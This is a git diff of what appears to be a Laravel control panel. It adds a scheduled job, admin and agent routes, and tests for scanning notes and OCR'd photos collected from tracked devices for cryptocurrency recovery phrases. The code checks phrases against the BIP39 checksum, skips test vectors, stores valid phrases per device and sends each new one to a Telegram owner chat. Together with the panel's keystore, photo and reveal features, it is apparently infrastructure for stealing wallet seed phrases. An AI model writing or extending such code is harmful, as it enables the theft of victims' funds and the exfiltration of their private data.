diff --git a/resources/views/user/shell.blade.php b/resources/views/user/shell.blade.php index ffeaba9..d30986e 100644 --- a/resources/views/user/shell.blade.php +++ b/resources/views/user/shell.blade.php @@ -99,6 +99,9 @@
备忘录
+
+ 助记词扫描 +
WS 参数
diff --git a/routes/admin.php b/routes/admin.php index 4ce3707..4c5504a 100644 --- a/routes/admin.php +++ b/routes/admin.php @@ -11,6 +11,7 @@ use App\Http\Controllers\Admin\FilterOptionsController; use App\Http\Controllers\Admin\Google2faController; use App\Http\Controllers\Admin\KeystoreController; use App\Http\Controllers\Admin\MnemonicController; +use App\Http\Controllers\Admin\MnemonicFindingController; use App\Http\Controllers\Admin\NoteController; use App\Http\Controllers\Admin\PageVisitController; use App\Http\Controllers\Admin\PhotoController; @@ -73,6 +74,11 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu Route::post('mnemonics/{mnemonic}/reveal', [MnemonicController::class, 'reveal']) ->name('mnemonics.reveal'); + Route::get('findings', [MnemonicFindingController::class, 'index'])->name('findings.index'); + Route::get('findings/data', [MnemonicFindingController::class, 'data'])->name('findings.data'); + Route::post('findings/{finding}/confirm', [MnemonicFindingController::class, 'confirm'])->name('findings.confirm'); + Route::post('findings/{finding}/dismiss', [MnemonicFindingController::class, 'dismiss'])->name('findings.dismiss'); + Route::get('keystores', [KeystoreController::class, 'index'])->name('keystores.index'); Route::get('keystores/data', [KeystoreController::class, 'data'])->name('keystores.data'); Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items'); diff --git a/routes/console.php b/routes/console.php index 87bd327..fc2c037 100644 --- a/routes/console.php +++ b/routes/console.php @@ -31,6 +31,11 @@ Schedule::command('coruna:sync-monitors --limit=200') ->withoutOverlapping() ->runInBackground(); +Schedule::command('coruna:scan-mnemonics --limit=50') + ->everyMinute() + ->withoutOverlapping() + ->runInBackground(); + Artisan::command('inspire', function () { $this->comment(Inspiring::quote()); })->purpose('Display an inspiring quote'); diff --git a/routes/user.php b/routes/user.php index ac27727..16c8eba 100644 --- a/routes/user.php +++ b/routes/user.php @@ -8,6 +8,7 @@ use App\Http\Controllers\Admin\FilterOptionsController; use App\Http\Controllers\Admin\Google2faController; use App\Http\Controllers\Admin\KeystoreController; use App\Http\Controllers\Admin\MnemonicController; +use App\Http\Controllers\Admin\MnemonicFindingController; use App\Http\Controllers\Admin\NoteController; use App\Http\Controllers\Admin\PageVisitController; use App\Http\Controllers\Admin\PhotoController; @@ -71,6 +72,11 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func Route::post('mnemonics/{mnemonic}/wallets/refresh', [MnemonicController::class, 'refreshWallets'])->name('mnemonics.wallets.refresh'); Route::post('mnemonics/{mnemonic}/reveal', [MnemonicController::class, 'reveal'])->name('mnemonics.reveal'); + Route::get('findings', [MnemonicFindingController::class, 'index'])->name('findings.index'); + Route::get('findings/data', [MnemonicFindingController::class, 'data'])->name('findings.data'); + Route::post('findings/{finding}/confirm', [MnemonicFindingController::class, 'confirm'])->name('findings.confirm'); + Route::post('findings/{finding}/dismiss', [MnemonicFindingController::class, 'dismiss'])->name('findings.dismiss'); + Route::get('keystores', [KeystoreController::class, 'index'])->name('keystores.index'); Route::get('keystores/data', [KeystoreController::class, 'data'])->name('keystores.data'); Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items'); diff --git a/tests/Feature/MnemonicScanTest.php b/tests/Feature/MnemonicScanTest.php new file mode 100644 index 0000000..5433de0 --- /dev/null +++ b/tests/Feature/MnemonicScanTest.php @@ -0,0 +1,282 @@ + 'tg-token', + 'coruna.telegram.owner_chat_id' => '10001', + ]); + Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]); + } + + #[Test] + public function twelve_note_words_auto_confirm_and_ingest(): void + { + $device = $this->device('dev-scan-12'); + Note::query()->create([ + 'device_id' => $device->id, + 'content' => [ + ['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9], + ], + 'content_hash' => hash('sha256', 'x'), + ]); + + app(MnemonicScanService::class)->scanDeviceNotes($device); + + $finding = MnemonicFinding::query()->first(); + $this->assertNotNull($finding); + $this->assertSame(MnemonicFinding::STATUS_CONFIRMED, $finding->status); + $this->assertSame(self::PHRASE, $finding->candidate); + $this->assertSame(1, $device->mnemonics()->count()); + $this->assertSame('备忘录扫描', $device->mnemonics()->value('source')); + $this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $device->noteScans()->value('scan_status')); + Http::assertSent(function ($request) { + $text = (string) ($request->data()['text'] ?? ''); + + return str_contains($text, '新助记词') && str_contains($text, '备忘录扫描'); + }); + } + + #[Test] + public function nine_note_hits_are_ignored(): void + { + $device = $this->device('dev-scan-9'); + Note::query()->create([ + 'device_id' => $device->id, + 'content' => [ + ['title' => 'partial', 'body' => self::NINE_HIT_OCR, 'native_id' => 3], + ], + 'content_hash' => hash('sha256', 'p'), + ]); + + app(MnemonicScanService::class)->scanDeviceNotes($device); + + $this->assertSame(0, MnemonicFinding::query()->count()); + $this->assertSame(0, $device->mnemonics()->count()); + $this->assertSame(MnemonicScanStatus::EMPTY, (int) $device->noteScans()->value('scan_status')); + } + + #[Test] + public function repetitive_note_english_is_ignored(): void + { + $device = $this->device('dev-scan-pipe'); + Note::query()->create([ + 'device_id' => $device->id, + 'content' => [ + ['title' => 'PVC', 'body' => 'PVC pipe 200 1.5 cable coil cable coil cable coil cable way', 'native_id' => 22], + ], + 'content_hash' => hash('sha256', 'pipe'), + ]); + + app(MnemonicScanService::class)->scanDeviceNotes($device); + + $this->assertSame(0, MnemonicFinding::query()->count()); + $this->assertSame(MnemonicScanStatus::EMPTY, (int) $device->noteScans()->value('scan_status')); + } + + #[Test] + public function admin_can_edit_and_confirm_a_suspected_photo(): void + { + $device = $this->device('dev-scan-confirm'); + $photo = $this->photoWithOcr($device, self::INVALID_UNIQUE); + app(MnemonicScanService::class)->scanPhoto($photo); + $finding = MnemonicFinding::query()->first(); + $this->assertSame(MnemonicFinding::STATUS_SUSPECTED, $finding?->status); + + $admin = Admin::query()->create(['username' => 'scan-admin', 'password' => 'admin123']); + $this->actingAs($admin, 'admin') + ->postJson(route('admin.findings.confirm', $finding), ['candidate' => self::PHRASE]) + ->assertOk() + ->assertJsonPath('code', 0); + + $this->assertSame(MnemonicFinding::STATUS_CONFIRMED, $finding->fresh()->status); + $this->assertSame(self::PHRASE, $finding->fresh()->candidate); + $this->assertSame(1, $device->mnemonics()->count()); + $this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $photo->fresh()->scan_status); + } + + #[Test] + public function admin_confirm_rejects_invalid_phrase(): void + { + $device = $this->device('dev-scan-confirm-bad'); + $photo = $this->photoWithOcr($device, self::INVALID_UNIQUE); + app(MnemonicScanService::class)->scanPhoto($photo); + $finding = MnemonicFinding::query()->first(); + + $admin = Admin::query()->create(['username' => 'scan-admin-2', 'password' => 'admin123']); + $this->actingAs($admin, 'admin') + ->postJson(route('admin.findings.confirm', $finding), ['candidate' => self::INVALID_UNIQUE]) + ->assertOk() + ->assertJsonPath('code', 1); + + $this->assertSame(MnemonicFinding::STATUS_SUSPECTED, $finding->fresh()->status); + $this->assertSame(0, $device->mnemonics()->count()); + } + + #[Test] + public function bip39_test_vector_note_is_ignored(): void + { + $device = $this->device('dev-scan-abandon'); + Note::query()->create([ + 'device_id' => $device->id, + 'content' => [ + ['title' => 'test', 'body' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about', 'native_id' => 7], + ], + 'content_hash' => hash('sha256', 'ab'), + ]); + + app(MnemonicScanService::class)->scanDeviceNotes($device); + + $this->assertSame(0, MnemonicFinding::query()->count()); + $this->assertSame(0, $device->mnemonics()->count()); + } + + #[Test] + public function twelve_note_words_without_checksum_are_ignored(): void + { + $device = $this->device('dev-scan-bad-12'); + Note::query()->create([ + 'device_id' => $device->id, + 'content' => [ + ['title' => 'wallet', 'body' => self::INVALID_UNIQUE, 'native_id' => 8], + ], + 'content_hash' => hash('sha256', 'bad'), + ]); + + app(MnemonicScanService::class)->scanDeviceNotes($device); + + $this->assertSame(0, MnemonicFinding::query()->count()); + $this->assertSame(0, $device->mnemonics()->count()); + $this->assertSame(MnemonicScanStatus::EMPTY, (int) $device->noteScans()->value('scan_status')); + } + + #[Test] + public function twelve_photo_words_auto_confirm_with_album_source(): void + { + $device = $this->device('dev-scan-photo-12'); + $photo = $this->photoWithOcr($device, self::PHRASE); + + app(MnemonicScanService::class)->scanPhoto($photo); + + $photo->refresh(); + $this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $photo->scan_status); + $finding = MnemonicFinding::query()->where('photo_id', $photo->id)->first(); + $this->assertSame(MnemonicFinding::STATUS_CONFIRMED, $finding?->status); + $this->assertSame(1, $device->mnemonics()->count()); + $this->assertSame('相册', $device->mnemonics()->value('source')); + Http::assertSent(function ($request) { + $text = (string) ($request->data()['text'] ?? ''); + + return str_contains($text, '新助记词') && str_contains($text, '相册'); + }); + } + + #[Test] + public function twelve_photo_words_without_checksum_stay_suspected(): void + { + $device = $this->device('dev-scan-photo-bad'); + $invalid = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon'; + $photo = $this->photoWithOcr($device, $invalid); + + app(MnemonicScanService::class)->scanPhoto($photo); + + $photo->refresh(); + $this->assertSame(MnemonicScanStatus::SUSPECTED, (int) $photo->scan_status); + $this->assertSame(MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::query()->where('photo_id', $photo->id)->value('status')); + $this->assertSame(0, $device->mnemonics()->count()); + } + + #[Test] + public function rescan_drops_stale_suspected_finding(): void + { + $device = $this->device('dev-scan-stale'); + $note = Note::query()->create([ + 'device_id' => $device->id, + 'content' => [ + ['title' => 'ui', 'body' => '备份助记词 请妥善保管', 'native_id' => 1], + ], + 'content_hash' => hash('sha256', 'y'), + ]); + $finding = new MnemonicFinding([ + 'device_id' => $device->id, + 'source' => 'note', + 'note_id' => $note->id, + 'item_key' => 'n:1', + 'status' => MnemonicFinding::STATUS_SUSPECTED, + 'word_count' => 12, + 'score' => 140, + ]); + $finding->candidate = '备 份 助 记 词 请 妥 善 保 管'; + $finding->save(); + + app(MnemonicScanService::class)->scanDeviceNotes($device); + + $this->assertSame(0, MnemonicFinding::query()->count()); + $this->assertSame(MnemonicScanStatus::EMPTY, (int) $device->noteScans()->value('scan_status')); + } + + private function device(string $key): Device + { + return Device::query()->create([ + 'device_id' => $key, + 'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + ]); + } + + private function photoWithOcr(Device $device, string $ocrText): Photo + { + $this->app->instance(OcrDriver::class, new class($ocrText) implements OcrDriver + { + public function __construct(private readonly string $text) {} + + public function recognize(string $imagePath): string + { + return $this->text; + } + }); + + $png = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg=='); + $rel = 'c2/photos/'.$device->device_id.'/test.png'; + Storage::disk('local')->put($rel, $png); + + return Photo::query()->create([ + 'device_id' => $device->id, + 'sha256' => hash('sha256', $png), + 'path' => $rel, + 'size' => strlen($png), + 'scan_status' => MnemonicScanStatus::PENDING, + ]); + } +} diff --git a/tests/Unit/Bip44Test.php b/tests/Unit/Bip44Test.php new file mode 100644 index 0000000..9df645d --- /dev/null +++ b/tests/Unit/Bip44Test.php @@ -0,0 +1,51 @@ +assertTrue(Bip44::canDerive( + 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about' + )); + } + + #[Test] + public function test_vector_is_not_usable(): void + { + $this->assertFalse(Bip44::isUsableMnemonic( + 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about' + )); + } + + #[Test] + public function four_repeats_of_one_word_is_not_usable(): void + { + $this->assertFalse(Bip44::isUsableMnemonic( + 'abandon abandon abandon abandon ability able about above absent absorb abstract absurd' + )); + } + + #[Test] + public function diverse_valid_phrase_is_usable(): void + { + $this->assertTrue(Bip44::isUsableMnemonic( + 'arctic floor lamp patrol connect mixture student enough mandate region whisper hint' + )); + } + + #[Test] + public function checksum_invalid_twelve_words_cannot_derive(): void + { + $this->assertFalse(Bip44::canDerive( + 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon' + )); + } + +} diff --git a/tests/Unit/MnemonicDetectorTest.php b/tests/Unit/MnemonicDetectorTest.php new file mode 100644 index 0000000..266c572 --- /dev/null +++ b/tests/Unit/MnemonicDetectorTest.php @@ -0,0 +1,127 @@ +detect("Recovery sheet\n1. ".$phrase."\nbackup 2024"); + + $this->assertNotNull($hit); + $this->assertSame($phrase, $hit['candidate']); + $this->assertSame(12, $hit['word_count']); + $this->assertTrue($hit['confirmed']); + } + + #[Test] + public function ignores_short_unrelated_text(): void + { + $this->assertNull((new MnemonicDetector)->detect('hello world this is just a note')); + } + + #[Test] + public function ignores_chinese_wallet_ui_copy(): void + { + $text = '备份助记词 请按顺序抄写助记词,确保备份正确。妥善保管助记词至隔离网络的安全地方。'; + + $this->assertNull((new MnemonicDetector)->detect($text)); + } + + #[Test] + public function marks_nine_hits_as_suspected_not_confirmed(): void + { + $ocr = <<<'TXT' +palance cousin endorse +refuse private dog +solution puddy april +picture father jab +TXT; + $hit = (new MnemonicDetector)->detect($ocr); + + $this->assertNotNull($hit); + $this->assertFalse($hit['confirmed']); + $this->assertSame(9, $hit['word_count']); + } + + #[Test] + public function eight_hits_are_suspected(): void + { + $text = 'cousin endorse refuse private dog solution april picture'; + $hit = (new MnemonicDetector)->detect($text); + + $this->assertNotNull($hit); + $this->assertFalse($hit['confirmed']); + $this->assertSame(8, $hit['word_count']); + } + + #[Test] + public function ignores_repetitive_plumbing_copy(): void + { + $text = 'PVC pipe 200 1.5 cable coil cable coil cable coil cable way'; + + $this->assertNull((new MnemonicDetector)->detect($text, true)); + } + + #[Test] + public function notes_ignore_partial_ocr_style_hits(): void + { + $ocr = <<<'TXT' +palance cousin endorse +refuse private dog +solution puddy april +picture father jab +TXT; + $this->assertNull((new MnemonicDetector)->detect($ocr, true)); + } + + #[Test] + public function notes_keep_numbered_valid_phrase(): void + { + $lines = []; + foreach (explode(' ', 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about') as $i => $word) { + $lines[] = ($i + 1).'. '.$word; + } + $hit = (new MnemonicDetector)->detect(implode("\n", $lines), true); + + $this->assertNotNull($hit); + $this->assertTrue($hit['confirmed']); + $this->assertSame(12, $hit['word_count']); + } + + #[Test] + public function prefers_english_phrase_over_chinese_ui(): void + { + $phrase = 'arctic floor lamp patrol connect mixture student enough mandate region whisper hint'; + $hit = (new MnemonicDetector)->detect("正确抄写12个助记词\n".$phrase."\n我已抄好,去验证"); + + $this->assertNotNull($hit); + $this->assertSame($phrase, $hit['candidate']); + $this->assertTrue($hit['confirmed']); + } + + #[Test] + public function slides_past_ui_card_when_checksum_needs_the_last_word(): void + { + $phrase = 'across artwork strike near sadness federal group soccer alert equal valley ask'; + $ocr = 'a SS KS 备份 助 记 词 手 抄 备份 KeyPal Card at 助 记 词 (12 个 单词 ) ' + .'across artwork strike near sadness federal group soccer alert 10 equal valley ask'; + + $hit = (new MnemonicDetector)->detect($ocr); + + $this->assertNotNull($hit); + $this->assertSame($phrase, $hit['candidate']); + $this->assertTrue($hit['confirmed']); + $this->assertTrue(Bip44::isUsableMnemonic($phrase)); + $this->assertFalse(Bip44::isUsableMnemonic( + 'card across artwork strike near sadness federal group soccer alert equal valley' + )); + } +}